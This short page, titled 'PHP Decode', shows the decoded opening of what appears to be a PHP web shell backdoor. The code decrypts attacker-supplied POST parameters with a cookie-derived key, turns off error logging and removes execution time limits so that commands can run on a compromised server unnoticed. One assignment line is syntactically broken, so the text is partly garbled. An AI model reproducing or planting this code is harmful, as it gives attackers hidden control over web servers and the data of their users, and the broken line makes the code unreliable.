PHP Decode

<?  if(empty($_POST['charset']))  
    $_POST['charset'] = $;  
if (!isset($_POST['ne'])) {  
    if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));  
    if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));  
    if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));  
    if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));  
    if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));  
}  
@ini_set('error_log',NULL);  
@ini_set('log_errors',0);  
@ini_set('max_execution_time',0);  
@set_time_limit(0);  
//@set_magic_quotes_runtime(0);  
@define('VERSION', '2020');  ?>